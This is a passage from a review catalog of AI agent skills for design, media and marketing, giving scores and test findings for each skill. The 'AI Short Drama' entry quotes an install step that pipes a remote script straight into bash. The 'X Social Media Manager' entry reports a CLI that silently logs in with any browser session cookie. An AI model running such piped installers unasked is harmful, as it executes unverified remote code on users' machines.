- **Design Tokens** [setup, 7.6/10] — Primitive -> semantic -> component OKLCH token system with working CSS/Tailwind templates; 4 of its own cited deep-dive docs don't exist in the repo. Repo: https://github.com/begenrousdigital-dotcom/Ultimate-vibe-design. Card: https://skillproof.dev/skills/design-tokens. What we found: The core deliverable is real and non-templated -- a 60+ variable OKLCH three-layer token set with dark-mode overrides beats a flat hand-rolled palette outright -- but the SKILL.md points to four companion reference docs for the OKLCH/typography/spacing/elevation rationale, and none of the four exist in the repo; `ls` on the skill folder shows only SKILL.md and templates/.
- **TheSVG** [pass, 7.6/10] — Fetches ready-to-use CDN URLs for 6,030+ brand logos and cloud service icons. Repo: https://github.com/glincker/thesvg. Card: https://skillproof.dev/skills/thesvg. What we found: The URL pattern and registry are real and live (github/stripe/openai icons all 200 OK), but the body's own 'Common slugs' cloud-icon table is mostly fabricated — 12 of 14 listed slugs (aws-lambda, aws-s3, azure-functions, google-cloud-run, etc.) 404; the real AWS Lambda slug is aws-aws-lambda, found only by querying the registry as the skill itself recommends for uncertain slugs.
- **Agent Orchestration Advisor** [setup, 7.6/10] — Designs multi-agent workflows with clear boundaries, handoffs, and monitoring. Repo: https://github.com/deanpeters/Product-Manager-Skills. Card: https://skillproof.dev/skills/agent-orchestration-advisor. What we found: Verbatim git-clone + cp install worked first try; single-file strict-YAML skill with no external deps or API keys, and description cleanly separates in-scope multi-agent workflow prompts from adjacent linear-PM ones. Tested on a weekly review/ticket-triage redesign: the skill produced a solid hybrid-topology plan (5 agents, dedicated same-day P0 sentinel, ingestion-API blocker), but the base arm independently reached the same structure and was marginally more precise on the handoff schema and by naming the actual store APIs. Skill's advisory framework added no material rigor over strong base reasoning for this scenario.
- **Video to 2D Sprite** [setup, 7.6/10] — Turns a 2D character still into animated sprite sheets via image-to-video and ffmpeg. Repo: https://github.com/0x0funky/agent-sprite-forge. Card: https://skillproof.dev/skills/video2dsprite. What we found: The generative image_to_video half is Grok-Build-exclusive and unusable on Claude Code (image_to_video is a Grok-native tool, not a pluggable API key) — the skill self-gates gracefully, refusing the video step and redirecting to $generate2dsprite, so only the local post-processing video2dsprite.py path is testable here; it ran and produced a verified, artifact-free 8-frame 1024x128 sprite strip. Install was clean and verbatim (git clone + cp, strict-YAML frontmatter, all referenced files present) with ffmpeg/Pillow/numpy the only deps. On the testable post-processing path the A/B was a tie: the skill's chroma-key/sample/normalize output was quality-equivalent to a from-scratch ffmpeg+PIL base pipeline (both 0 residual magenta, both feet-aligned even-sampled strips), the skill mainly saving effort via one command plus multi-density/GIF exports.
- **Colorize** [setup, 7.6/10] — Adds one disciplined accent color or strips an over-colored UI back to 90% neutral. Repo: https://github.com/educlopez/ui-craft. Card: https://skillproof.dev/skills/colorize. What we found: Its own reference docs live in the sibling ui-craft skill, not inside colorize/ itself — install colorize alone and the OKLCH/contrast reference links 404.
- **Craft** [setup, 7.6/10] — One-shot dashboard/landing/auth builder: pixel-exact recipe, states as build steps, hard acceptance bar. Repo: https://github.com/educlopez/ui-craft. Card: https://skillproof.dev/skills/craft. What we found: The recipe files craft/SKILL.md links to at 'references/recipe-dashboard.md' etc. don't live in the craft/ folder at all — they're one directory over in the sibling ui-craft skill, so a standalone copy of just 'craft' 404s on its own instructions. Once pointed at the right folder it earns its keep: the default 'Command' composition specs an exact 240px sidebar, a dominant work-queue table, and named responsive breakpoints, none of which a freeform 'build me a dashboard' answer produced.
- **Delight** [setup, 7.6/10] — Adds one tasteful micro-interaction to a UI — no confetti, no bounce, no emoji spam. Repo: https://github.com/educlopez/ui-craft. Card: https://skillproof.dev/skills/delight. What we found: Ran a save-toast delight task: the baseline reached for confetti, an emoji-caps toast, and bounce easing; the skill-guided version banned exactly those three and shipped a named-item toast instead ('"Q3 Report" saved' vs 'Success!'). But 2 of 3 referenced files (references/motion.md, ../examples/animation-storyboard.md) 404 at the stated relative paths — they only exist under the sibling ui-craft skill, which the catalog install line doesn't pull in.
- **StitchFlow** [setup, 7.6/10] — Orchestrates Google Stitch (MCP or CLI toolkit) to generate/edit/export UI screens — needs a Stitch API key. Repo: https://github.com/yshishenya/stitchflow. Card: https://skillproof.dev/skills/stitchflow. What we found: Every workflow bottoms out in `npm run generate` etc. against the bundled stitch-starter CLI, which lives outside the skill folder at $HOME/.agents/stitch-starter and requires a Google Stitch API key; ran it for real with no key and it failed cleanly ('STITCH_API_KEY is not set... copy .env.example to .env') rather than producing anything, so a plain SKILL.md copy is non-functional until install.sh + an API key are added.
- **PixelBin** [setup, 7.6/10] — AI image/video generation, CDN transforms, and bulk media pipelines via PixelBin's hosted API. Repo: https://github.com/anandpareek-hub/pixelbin-claude-skill. Card: https://skillproof.dev/skills/pixelbin. What we found: A verbatim `cp -r skills/pixelbin ~/.claude/skills/pixelbin` (confirmed by actually doing it) leaves only SKILL.md + INTRO.md — scripts/, references/, and .env.example all live at the repo root and go missing, so every script path the skill instructs Claude to run 404s; you must clone the whole repo and keep the skill folder inside it (or use the plugin marketplace path) for it to work. Separately, the README's 'a clean install reports 0 vulnerabilities' claim is false: `npm audit` on a fresh `npm install` shows 4 vulnerabilities (3 high, 1 moderate) in axios/form-data/joi via @pixelbin/admin.
- **Draw.io AWS** [setup, 7.6/10] — AWS architecture diagrams from a real stencil catalog, not guessed icon names Repo: https://github.com/sparklabx/drawio-ai-kit. Card: https://skillproof.dev/skills/drawio-aws. What we found: Task: serverless API diagram — CloudFront → API Gateway → Lambda in private VPC subnet → RDS, plus S3 for static assets. Baseline (hand-written .drawio) produced 4 out of 5 incorrect colors against the catalog — CloudFront #F58534 instead of true #8C4FFF, API Gateway #D45B07 instead of #E7157B, Lambda #F58534 instead of #ED7100, RDS #2E73B8 instead of #C925D1 — used incorrect idiom `shape=mxgraph.aws4.<name>` instead of `shape=aws4.resource;resIcon=...`, lost Region/AZ containers, and placed S3 inside the private subnet, although S3 is not a subnet resident. Build via skill engine: validate ok, resIcons 5, grIcons 5, advice empty — against baseline resIcons 0, grIcons 0 and one advice. Main honesty caveat: `drawio-ai validate` returned ok:true even for the broken baseline — it doesn't catch stencil colors and idiom, the only clue is resIcons:0, so the claimed color validation in the description oversells. Render/vision self-check could not be run: it requires the desktop application draw.io ('draw.io CLI not found'), the step is unavailable in a headless environment — PNG not checked. Another defect: SKILL.md instructs to read $ROOT/docs/api-cheatsheet.md, but `docs` is not included in files[] package.json, and after the recommended `npm i -g`, this file is not on disk.
- **ComfyUI Agent Kit** [setup, 7.6/10] — Drives a local ComfyUI for image/video/audio generation and workflow building Repo: https://github.com/SlavaSexton/ComfyUI-Agent-Kit. Card: https://skillproof.dev/skills/comfyui. What we found: The headline capability — driving a local ComfyUI install to generate images, video, or audio — could not be exercised here: nothing answered on :8188 and there is no GPU, so no generation delta over a no-skill baseline was measured. What is verifiable is real: the bundled workflow_layout.py took a 5-node graph piled at the origin (10 overlaps, 2 crossings) and laid it out left-to-right by dependency depth with zero overlaps and zero crossings. The knowledge base is genuinely deep, including a 112KB per-model prompting file, a node library, and hardware-fit logic. Scored setup rather than pass because the core value needs local hardware to demonstrate a beat over baseline.
- **Bria AI Image Generation & Editing** [setup, 7.6/10] — Commercially-safe image generation, editing, and background removal via the Bria API Repo: https://github.com/Bria-AI/bria-skill. Card: https://skillproof.dev/skills/bria-ai. What we found: Sourced and ran the bundled bria_client.sh live: with no key it fails fast and correctly with 'ERROR: BRIA_API_KEY not set', and the script cleanly handles URLs, local-file base64, and async polling. But every real image call needs a paid Bria API key obtained through a device-flow OAuth login, which is not available here, so the actual generate/edit quality versus a no-skill baseline is unmeasured. The auth flow caches tokens only to ~/.bria/credentials with no third-party exfiltration.
- **Architecture Designer** [setup, 7.2/10] — Designs system architecture and writes ADRs to document key technical decisions. Repo: https://github.com/Jeffallan/claude-skills. Card: https://skillproof.dev/skills/architecture-designer. What we found: Installed verbatim (git clone + cp) with valid YAML frontmatter and all 5 reference files present; no external dependencies or API keys. Trigger docked because the description claims to exclude code-level design patterns and database-only tasks, yet metadata.triggers lists 'design pattern' and the reference table routes database-selection questions inward. A/B on a URL-shortener system-design task showed the skill and base outputs at equal quality — both delivered a correct requirements summary, Mermaid diagram, well-formed ADR with 2+ datastore alternatives, and risk analysis; the skill's ADR/pattern reference framework produced no materially more rigorous design.
- **Authoring GitHub Workflows** [setup, 7.2/10] — Authors and reviews GitHub Actions YAML so it can't ship a broken workflow. Repo: https://github.com/dotnet/skills. Card: https://skillproof.dev/skills/authoring-github-workflows. What we found: Tested full install (verbatim git clone + cp, no rescue), trigger separation against the frontmatter's explicit USE FOR / DO NOT USE FOR / SCOPE clauses, and an A/B output task: author a pull_request workflow whose run-name and env value both embed a literal '#' — the exact YAML-comment-truncation trap this Microsoft-authored skill targets. Both the skill and base arms produced syntactically-valid workflows that correctly double-quoted the two '#'-bearing scalars, so the skill gave no material correctness edge here (the base arm avoided the trap unaided); the skill output only added a production-style conditional guard the spec didn't require. Docs are accurate and non-overclaiming, but one in-body link is broken — it points to `.github/agents/agentic-workflows.agent.md` while the actual file is `agentic-workflows.md` — and the actionlint download step pins a SHA-256 only for the linux_amd64 asset (no macOS/arm64).
- **HTML PPT Tech Sharing** [setup, 7.2/10] — Entry point to a real HTML-deck runtime (themes, presenter mode) — but its own file paths point at the wrong folder. Repo: https://github.com/nexu-io/open-design. Card: https://skillproof.dev/skills/html-ppt-tech-sharing. What we found: Every literal path the card tells you to copy from ('skills/html-ppt/assets/...') is wrong — the repo actually keeps them under 'design-templates/html-ppt/...' — so following Recipe A or B as written 404s on all four shared asset files (fonts.css, base.css, animations.css, runtime.js) until you find the real path yourself.
- **Google Ads Landing** [setup, 5.2/10] — Scores Google Ads landing pages and diagnoses ad-to-page message mismatches. Repo: https://github.com/nowork-studio/NotFair. Card: https://skillproof.dev/skills/google-ads-landing. What we found: Broken verbatim install: `cp -r NotFair/google-ads/landing` copies only the leaf skill folder, but SKILL.md's Setup step depends on sibling files one level up — ../shared/preamble.md, ../shared/analysis-principles.md, ../shared/ppc-math.md and ../manage/references/quality-score-framework.md — which a lone-folder copy leaves behind, so the skill 404s until those dirs are copied alongside (rescued manually). Tested on the landing-analysis artifact against a base arm with no skill: both produced solid 5-dimension diagnostics (message-match, page speed, mobile, trust, form/CTA) with capped dollar-lift estimates; the skill added a cleaner rubric-driven table, message-chain detail and a more conservative lift formula, but the base independently reached the same substantive findings and even caught a decoy hero CTA the skill missed — roughly same quality, no clear framework win. Note the skill also needs a connected Google Ads MCP for its metric-pull phase, though it degrades gracefully when absent.
- **API Design Principles** [fails, null/10] — Applies REST and GraphQL design principles to build clear, scalable APIs. Repo: https://github.com/wshobson/agents. Card: https://skillproof.dev/skills/api-design-principles. What we found: Tested a REST design task (bookmarking service: endpoints, versioning, pagination, JSON examples) with and without the skill. Both arms produced correct, complete designs with resource-oriented endpoints and URL versioning; the skill arm was fully best-practice-compliant but chose offset/page pagination, while the base arm independently reached the stronger cursor-based choice with sharper rationale. Verbatim install and frontmatter were clean; the skill adds no measurable lift over a capable base model on this task.
- **API Shape Explorer** [fails, null/10] — Generates several radically different interface designs for a module in parallel. Repo: https://github.com/zebbern/claude-code-guide. Card: https://skillproof.dev/skills/api-shape-explorer. What we found: Tested a pure design/prompting scaffold (no scripts, network calls, or external deps) that applies 'Design It Twice' by spawning parallel sub-agents to generate radically different interface options. Verbatim clone+copy install and strict-YAML frontmatter both clean; A/B on a TTL-cache interface-design task showed the skill and base output at rough parity, with the base arm slightly ahead on breadth (4 vs 3 designs, more radically distinct shapes) and per-design test examples. The skill's core mechanism is parallel sub-agents, which this self-contained single-pass test neutralized, so it did not produce a materially better exploration here.
- **Octopus Architecture** [fails, null/10] — Designs system architecture and APIs with multi-AI consensus review. Repo: https://github.com/nyldn/claude-octopus. Card: https://skillproof.dev/skills/octopus-architecture. What we found: The card's install runs clean but the skill is completely non-operational: ~/.claude-octopus/plugin (the scripts SKILL.md depends on) is never provisioned by the verbatim install, and even against a fully-installed upstream repo the mandatory 'spawn backend-architect' command is invalid CLI syntax (a persona name where an agent-type is required), erroring exit 1 with zero output regardless of Codex/Gemini availability — directly contradicting the README's 'zero providers needed' claim. Confirms a prior SkillProof finding on this skill.
- **Superdesign** [fails, null/10] — Drives the Superdesign CLI to reproduce, then branch, your UI on a design canvas Repo: https://github.com/superdesigndev/superdesign-skill. Card: https://skillproof.dev/skills/superdesign. What we found: Task: extract a design system from a repository and create a draft page via CLI, as prescribed by SKILL.md. Installation was honest: `npx --yes @superdesign/cli@latest --version` actually returned 0.5.1, files references/SUPERDESIGN.md (551 lines) and references/INIT.md (158 lines) were in place after copying. But then a wall: both `list-design-systems` and `create-project --title "SkillProof test"` returned `✗ Not authenticated. Run superdesign login first.` — an account and interactive browser login are needed, so I DID NOT check the design output itself and do not assign points for it (output=3 — this is only what was actually measured up to the authorization wall). Baseline without skill (asking the agent to manually layout HTML variants) outputs code, but not canvas drafts, so a substantive comparison is impossible. Separately noted: CLI writes `SuperDesign collects anonymous CLI usage; set DO_NOT_TRACK=1 to disable` on startup, and sources and `--user-request` according to documentation go to SuperDesign servers — this is a stated product feature and it is disclosed in references/SUPERDESIGN.md, no hidden exfiltration.
- **AI Short Drama** [fails, null/10] — Pipeline for AI vertical short-dramas: script, storyboard frames, then AI video Repo: https://github.com/A-cat-with-carrots/OnlyShot. Card: https://skillproof.dev/skills/ai-short-drama. What we found: The scripts install and run: extract_prompts.py, ref完备性检查.py, and the two generation scripts all parse and execute with sensible errors, and every referenced reference/template file is present. But the differentiating output (reference images and per-episode AI video) is gated behind the third-party dreamina/Jimeng CLI, which the skill installs via `curl -fsSL https://jimeng.jianying.com/cli | bash` and which then needs a browser login plus paid credits (~15 RMB for refs, more per episode). That is a login-plus-paid wall, so the delta over a no-skill baseline is unmeasurable and scored unmeasured, not passed. The SKILL is otherwise unusually detailed and honest about costs and failure modes, though it also hardcodes the author's personal Windows path D:\hrdai\aiForShortDrama as the default workspace.
- **Video Upscaler** [fails, null/10] — Curl recipe for a video-upscaling backend the repo never ships Repo: https://github.com/wells1137/media-skills. Card: https://skillproof.dev/skills/video-upscaler. What we found: The skill is a curl recipe for a backend that does not exist: the skill folder ships only SKILL.md, the repo contains no /upscale service and no way to deploy one, the repo README does not even list this skill, and the example curl is malformed JSON (missing its opening brace). There is no real value to substitute for <your_backend_url>, so following the skill produces nothing. The no-skill baseline meanwhile upscaled a test clip 2x with local ffmpeg in about a second (verified 320x240 to 640x480).
- **Generate Media** [fails, null/10] — Gemini-powered character & storyboard reference image generator for micro-dramas Repo: https://github.com/zhaihao118/Micro-Drama-Skills. Card: https://skillproof.dev/skills/generate-media. What we found: The generated script's headline character-consistency path is broken: `io` is imported only inside main() yet `io.BytesIO` is called in generate_storyboard_image_with_refs(), so a successful Gemini response raises NameError. It also hardcodes imagen-3.0 and gemini-2.0-flash-exp while the docs insist on a single configurable model, and reads config from a hardcoded /data/dongman path. Actual image output is unmeasurable without a paid Gemini key, so no delta over a no-skill baseline could be shown.
- **Intelligent Prompt Generator** [fails, null/10] — Image prompt generator with element DB; portrait works, cross-domain misroutes Repo: https://github.com/huangserva/skill-prompt-generator. Card: https://skillproof.dev/skills/intelligent-prompt-generator. What we found: Ran the bundled SQLite pipeline live from a clean install: the portrait path works and returns element-based prompts, but the flagship v2.0 cross-domain mode misrouted the repo's own 'cyberpunk anime girl' example into plain portrait mode, returning 'natural window light' and 'K-beauty makeup' for a neon scene. The 224-entry lighting table contains zero neon elements despite the SKILL.md mapping table promising them. Composed output carries template artifacts like 'almond brown eyes eyes' and 'black hair hair', and the SKILL.md hardcodes the author's personal path (/Users/serva/...) in its key code block. A hand-written baseline prompt matched or beat the skill's output on its own flagship ancient-costume example, so no edge over the no-skill baseline was demonstrated.

## Marketing & Growth (54 tested)
- **Copywriting** [pass, 9.6/10] — Conversion copywriting for marketing pages -- headline/CTA formulas, an explicit weak-vs-strong CTA blacklist, and structured output with rationale. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/copywriting. What we found: A baseline pass on the mini-task produced a headline and CTA ('Manage Your Projects Better' / 'Get Started') that land exactly on the two anti-patterns the skill's own Weak CTAs / vague-language rules tell you to avoid -- the skill-guided version replaced both with an outcome-specific headline and a CTA naming what the user actually gets.
- **A/B Testing** [pass, 9.6/10] — Designs statistically valid experiments and runs a full ICE-scored experimentation program. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/ab-testing. What we found: Follows its own peeking rule to the letter: given a fake 3-day result with 95% confidence, it refused to call a winner and cited regression-to-the-mean and day-of-week effects rather than declaring victory, something the baseline answer didn't even think to flag.
- **Content Strategy** [pass, 9.6/10] — Plans topic clusters, content pillars and a weighted-priority editorial calendar grounded in buyer stage. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/content-strategy. What we found: Replaced a flat blog-topic brainstorm with buyer-stage-mapped clusters and a weighted 40/30/20/10 scoring table for prioritization — the one weak spot is references/headless-cms.md, whose CMS integration links point at a repo-level tools/ folder that isn't included in a standalone copy, but that's a narrow optional path, not the core workflow.
- **Substack Ghostwriting & Content Optimization** [pass, 9.6/10] — Substack-specific ghostwriting and growth workflow: voice guide, algorithm, monetization. Repo: https://github.com/samber/cc-skills. Card: https://skillproof.dev/skills/newsletter-writer. What we found: It's a Substack-specific growth/ghostwriting workflow (algorithm mechanics, Notes strategy, monetization math), not a generic newsletter tool — and Phase 1 is a hard stop: it produced five subject-line variants and three distinct hooks for review before writing a single word of body copy, versus a baseline that just wrote one draft outright. (Listed here under our older name; the skill's own name is "Substack Ghostwriting & Content Optimization".)
- **MD2WeChat Lite** [pass, 9.6/10] — Wraps the md2wx CLI to turn Markdown into themed WeChat Official Account drafts. Repo: https://github.com/geekjourneyx/md2wechat-lite. Card: https://skillproof.dev/skills/md2wechat-lite. What we found: Cross-checked the documented article-draft flags against the actual Go source and every flag name matched exactly, including the easy-to-miss 'no stdin' and 'cover-image must be a public URL' caveats the SKILL.md calls out. Needs a paid/free md2wechat.app API key plus WeChat Official Account credentials configured before any command works — clearly disclosed upfront, no surprises.
- **Business Profile Creator** [pass, 9.6/10] — Guided 20-question interview that turns raw business info into a structured JSON brand profile. Repo: https://github.com/az9713/ai-co-writing-claude-skills. Card: https://skillproof.dev/skills/business-profile-creator. What we found: Fed it a fictional Etsy pet-planner brand: the guided interview produced a complete 20-field JSON profile (mission, differentiators, CTAs, platforms) versus a 40-word unstructured paragraph from an unguided baseline, and the output schema matched the repo's own checked-in example file field-for-field.
- **Gtm Positioning** [pass, 9.6/10] — Fletch-framework playbook for B2B positioning, GTM type, and website copy blocks. Repo: https://github.com/ommakes/Skills. Card: https://skillproof.dev/skills/gtm-positioning. What we found: Ran a real homepage-copy task through it: the skill version named a positioning strategy and awareness stage before writing a line, then produced a hero block with concrete numbers (30-to-10-minute standups, day-2 vs day-5 blocker catch) versus the baseline's generic 'AI-powered... leverage... unlock potential' copy — a genuinely different, sharper output, not just reformatting.
- **Kling AI Video Generation** [pass, 9.6/10] — Writes model-aware Kling AI video prompts - image/text-to-video, avatars, multi-shot, voice control - sourced to official release notes. Repo: https://github.com/maciejdzierzek/kling-ai-prompt-generator. Card: https://skillproof.dev/skills/kling-ai. What we found: Asked for a 5s social-loop prompt from a dog photo: the baseline re-described the whole already-visible scene and defaulted to generic '4K, high quality' boilerplate, while the skill version wrote a motion-only prompt with an explicit end-state ('then settles back to starting position') and held it at 1080p first - both are the skill's own documented fixes for Kling's real stuck-at-99% hang and wasted 4K credits, not generic advice.
- **Brand Lock Extractor** [pass, 9.6/10] — Turns a site, PDF, or screenshots into a sourced brand-lock.md with confidence flags on every value. Repo: https://github.com/whystrohm/shotkit. Card: https://skillproof.dev/skills/brand-lock-extractor. What we found: Fed it a real site excerpt (CSS custom props + copy); the baseline free-hand pass fabricated a hex (#F5F0E8) and two font names never present anywhere in the source, exactly the failure this skill's Rule 1/2 exist to prevent, while the skill run pulled the real 4 hexes and 2 font families from the CSS and correctly flagged the unstated divider color and font weights as needs-confirmation.
- **Blog To Social** [pass, 9.6/10] — Turns one finished blog post into platform-native Facebook, X and LinkedIn drafts in a single pass, with hard length and hashtag rules. Repo: https://github.com/mickpletcher/AI-Skills. Card: https://skillproof.dev/skills/blog-to-social. What we found: Ran it against a sample CI-speedup blog post: the unconstrained baseline X post came out to 282 characters (over the platform's own 280 limit) and reused the same '14-to-3-minutes' stat as the lead on all three platforms; the skill-following X post measured 266/280 characters with exactly 2 hashtags as specified, and each platform got a different lead (the batching-commits problem for LinkedIn, the raw stat for X, the fog-graph mechanism for Facebook) while banning the 'excited to share' LinkedIn opener the baseline used.
- **Copychief** [pass, 9.6/10] — Line-by-line direct-response copy review with a scored verdict, specific rewrites, and a kill list. Repo: https://github.com/robpalmer99/claude-code-copywriting-skills. Card: https://skillproof.dev/skills/copychief. What we found: Ran a real A/B on a deliberately generic 'new course' launch email: the baseline gave six generic bullet notes ('make it more specific,' score '3 or 4'), while the skill-guided review produced 5 Location/Issue/Fix/Principle entries with actual drop-in rewrite sentences, a named kill list of exact filler phrases, and a 2/10 conversion score with ranked top-3 fixes.
- **App Marketing Copy** [pass, 9.6/10] — Writes App Store/Google Play listings and marketing copy, then validates every field against real character limits. Repo: https://github.com/ckorhonen/claude-skills. Card: https://skillproof.dev/skills/app-marketing-copy. What we found: Real A/B on a PulseTrack iOS listing: my ad hoc baseline blew the subtitle limit by 18 chars and the keyword field by 25 (check_app_store_limits.py exited 1), while the skill's intake-then-validate workflow produced a listing that passed every field (exit 0) and read less generic per its own keyword-stuffing pitfall guide.
- **NameLens** [pass, 9.6/10] — Stress-tests open-source project names with live collision checks before you commit. Repo: https://github.com/geekjourneyx/namelens. Card: https://skillproof.dev/skills/namelens. What we found: Ran a real mini-task naming a photo-dedup CLI: the skill's live-check step caught a genuine same-category collision (an actual GitHub repo literally named 'PicSweep') that a naive baseline brainstorm would have missed, and correctly labeled PyPI checks UNVERIFIED when PyPI's bot-challenge page blocked the request instead of silently assuming availability.
- **Ad Creative** [setup, 9.2/10] — Generates platform-correct ad copy at scale for Google, Meta, LinkedIn and TikTok — weak without a product-context file. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/ad-creative. What we found: RSA headlines came back correctly under the 30-character limit and covered distinct angles (pain, social proof, urgency) instead of one flavor repeated — but the skill's own 'Tool Integrations' section for pulling live Google/Meta/LinkedIn/TikTok performance data points at ../../tools/REGISTRY.md, a path that only exists inside the full repo checkout, not in a standalone skill copy. (Listed here under our older name; the skill's own name is "Ad Creative".)
- **Emails** [setup, 9.2/10] — Day-by-day timed lifecycle email sequences (welcome, nurture, re-engagement) with a standardized per-email output schema. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/email-sequences. What we found: Timed a welcome sequence day-by-day (day 1-2, day 3-4, day 5-6...) against its own named template instead of a vague 'send a few emails' — but the Tool Integrations section for actually wiring up Mailchimp/SendGrid/Customer.io points at ../../tools/REGISTRY.md, which doesn't exist outside the full repo checkout. (Listed here under our older name; the skill's own name is "Emails".)
- **Social Content** [pass, 9.2/10] — Platform-differentiated content creation, repurposing and social listening for LinkedIn, X, TikTok, Instagram and Facebook. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/social-content. What we found: Given one stat, it produced genuinely different formats per platform — multiple hook-formula options for a LinkedIn post versus a structured takeaway-thread for Twitter/X — instead of reposting the same line twice, which is what the unguided baseline did. (Listed here under our older name; the skill's own name is "Social Content".)
- **Copy Editing** [pass, 9.2/10] — Seven-pass marketing-copy editor (clarity, proof, specificity, risk) that preserves voice. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/copy-editing. What we found: The Seven Sweeps pass turned a feature-only homepage blurb ('powerful solution... optimize workflows') into copy with a quantified proof point and a risk-reversed CTA, catching gaps (zero proof, no specificity, no risk reversal) a single read-through missed entirely; it's tuned for marketing/conversion copy, not general prose.
- **Acquisition Channel Advisor** [setup, 9.2/10] — Scale, test, or kill a growth channel using CAC, LTV, payback, and channel quality. Repo: https://github.com/deanpeters/Product-Manager-Skills. Card: https://skillproof.dev/skills/acquisition-channel-advisor. What we found: Correctly flagged a strong-looking LTV:CAC channel as 'test and optimize' once payback period was weighed in - but it hard-depends on a sibling skill folder, so copying just this one leaves a dangling reference.
- **Ad Account Auditor** [pass, 9.2/10] — Scores a paid ad account on ROAS/claim/tracking/placement vetoes before you scale budget. Repo: https://github.com/aaron-he-zhu/aaron-marketing-skills. Card: https://skillproof.dev/skills/ad-account-auditor. What we found: Ran a full synthetic audit (ROAS 1.8x, 40 platform conversions vs only 25 verified in GA4, unsubstantiated '#1 rated' ad claim, budget doubled 3 days into learning phase): the skill correctly fired two vetoes (R2 order-ID mismatch, O1 claim integrity) and forced a BLOCKED verdict with a savable, ID-free handoff, where an unassisted answer reached similar conclusions but with no reproducible score, no explicit gate, and no audit artifact.
- **AI Product GTM** [pass, 9.2/10] — Enterprise AI positioning, objection-handling and variable-cost pricing frameworks from real deal cycles. Repo: https://github.com/beingsmit/technical-product-gtm. Card: https://skillproof.dev/skills/ai-gtm. What we found: Asked it to reframe a stalled enterprise deal after ops rejected an 'autonomous agent' pitch: it produced the named Accountability Cascade (L1/L2/L3 ownership) and a concrete qualifying question, while an unaided answer stayed at generic 'add case studies and SLAs' advice.
- **AI Founder Playbook** [pass, 9.2/10] — Pressure-tests a startup/OSS idea against real, web-verified competitors instead of generic encouragement. Repo: https://github.com/z2z23n0/idea-miner. Card: https://skillproof.dev/skills/ai-founder-playbook. What we found: Pressure-tested an 'open-source Figma-to-React CLI' idea: a real web search (done because the skill mandates verifying market claims live, not from memory) surfaced an already-dominant free OSS incumbent (FigmaToCode, multi-framework) plus Figma's own Figma Make, flipping my generic baseline 'worth trying' into a named, evidence-cited 不建议做/转向 with a concrete pivot. Worth flagging: it defaults to Chinese output per its own instructions even when the user writes in English, and its primary external-search path (Grok search MCP) isn't installed here — it fell back to ordinary web search exactly as its own fallback text specifies.
- **B2B GTM Launch** [pass, 9.2/10] — 7-prompt B2B SaaS GTM system: ICPs to a running Meta ad campaign. Repo: https://github.com/Lozovoi-Rodion/Claude-Skills. Card: https://skillproof.dev/skills/b2b-gtm-launch. What we found: Ran Step 0 (ICP Discovery) head-to-head: the skill's template forces a confidence score (High/Med/Low) and a single 'validate this before spending on ads' question per ICP that a plain baseline answer never volunteers on its own — a genuine, concrete upgrade for pre-spend risk reduction, not just formatting.
- **Ship Page** [pass, 9.2/10] — Single-file interactive landing pages with curated anti-slop design presets. Repo: https://github.com/Zooeyii/ship-page-skill. Card: https://skillproof.dev/skills/ship-page. What we found: Ran a real A/B on a CLI-tool landing page: my default baseline used Inter, a purple gradient hero, and the word 'Revolutionize' — all things the skill's own anti-slop checklist explicitly bans — while the skill run picked the 'Horizon' preset, added prefers-reduced-motion, IntersectionObserver reveals, and clamp()-based type, producing a visibly more deliberate, on-brand page.
- **X Social Media Manager** [setup, 9.2/10] — Self-evolving X/Twitter growth manager: research-gated post drafting, voice-matched replies, live via twitter-cli. Repo: https://github.com/rabden/X-twitter-social-manager-skill. Card: https://skillproof.dev/skills/x-social-manager. What we found: Real find: the bundled twitter-cli tool auto-authenticates via ANY active X session cookie in an installed browser, with zero identity confirmation - on this machine it silently logged in as an unrelated real account. Read-only live research (twitter search) worked with zero setup and produced a genuinely research-grounded draft; the manual step is real (install twitter-cli + have an active X browser login or paste session tokens) so verdict is setup, not pass.
- **Viral Hooks** [pass, 9.2/10] — 100 tested hook templates in 13 virality-ranked categories for social posts Repo: https://github.com/Blotato-Inc/blotato-skills. Card: https://skillproof.dev/skills/viral-hooks. What we found: Ran a head-to-head on hooks for a website-blocking productivity app on X. The no-skill baseline opened with a banned generic line ('Staying focused is hard in today's world'); the skill routed the topic to The Receipt category and returned 'I blocked 200 sites for 30 days. My output doubled', plus two alternates, each passing its own first-3-words test. The 100 inline templates and hard rules (specific-over-abstract, strongest word first, no AI openers) are fully self-contained, so no extra files are needed after copy. Clear, demonstrable edge over the baseline.
- **Yuwen Publish Precheck** [pass, 9.2/10] — Pre-publish risk review for Douyin/XHS/WeChat Channels with cited rule fixes Repo: https://github.com/yuwen-cool/yuwen-publish-precheck. Card: https://skillproof.dev/skills/yuwen-publish-precheck. What we found: Fed it a weight-loss ad script: the offline scanner pinned 6 candidates with rule IDs, line numbers and severity (root-cure claim -> medical M02, 'lowest price on the web' -> R15), and the judgment layer caught what word-matching cannot - disease-treatment claims and a fabricated doctor endorsement. Every rule document cites official CAC/NHC regulations and platform policies with verification dates and links, and the bundled 15-test eval suite passes. A clear step up from the no-skill review, which produced similar intuitions but no rule grounding, positions, per-platform verdicts or a publish checklist.
- **Google Ads Audit** [setup, 8.8/10] — Read-only Google Ads account audit that persists business context for downstream ads skills. Repo: https://github.com/nowork-studio/NotFair. Card: https://skillproof.dev/skills/google-ads-audit. What we found: Requires signing into a proprietary ad-data server before it can pull real numbers, so a plain folder copy isn't enough; on synthetic account data it still named specific keywords and dollar figures, not a vague number.
- **Creative Ads Explorer** [pass, 8.8/10] — Generates a ranked angle x format matrix of up to 25 distinct paid-social ad hypotheses, not 25 near-identical variations. Repo: https://github.com/DKeken/codex-skills-alternative. Card: https://skillproof.dev/skills/creative-ads-explorer. What we found: Asked for 10-12 TikTok ad concepts for a protein-bar brand; baseline Claude produced a flat 12-item brainstorm list with two near-duplicate ideas and no stated hypotheses, the skill version cut the duplicates, tagged the testimonial/comparison ads with a real-proof-required flag, and picked a top-3 launch batch justified by distinct emotional levers rather than list order.
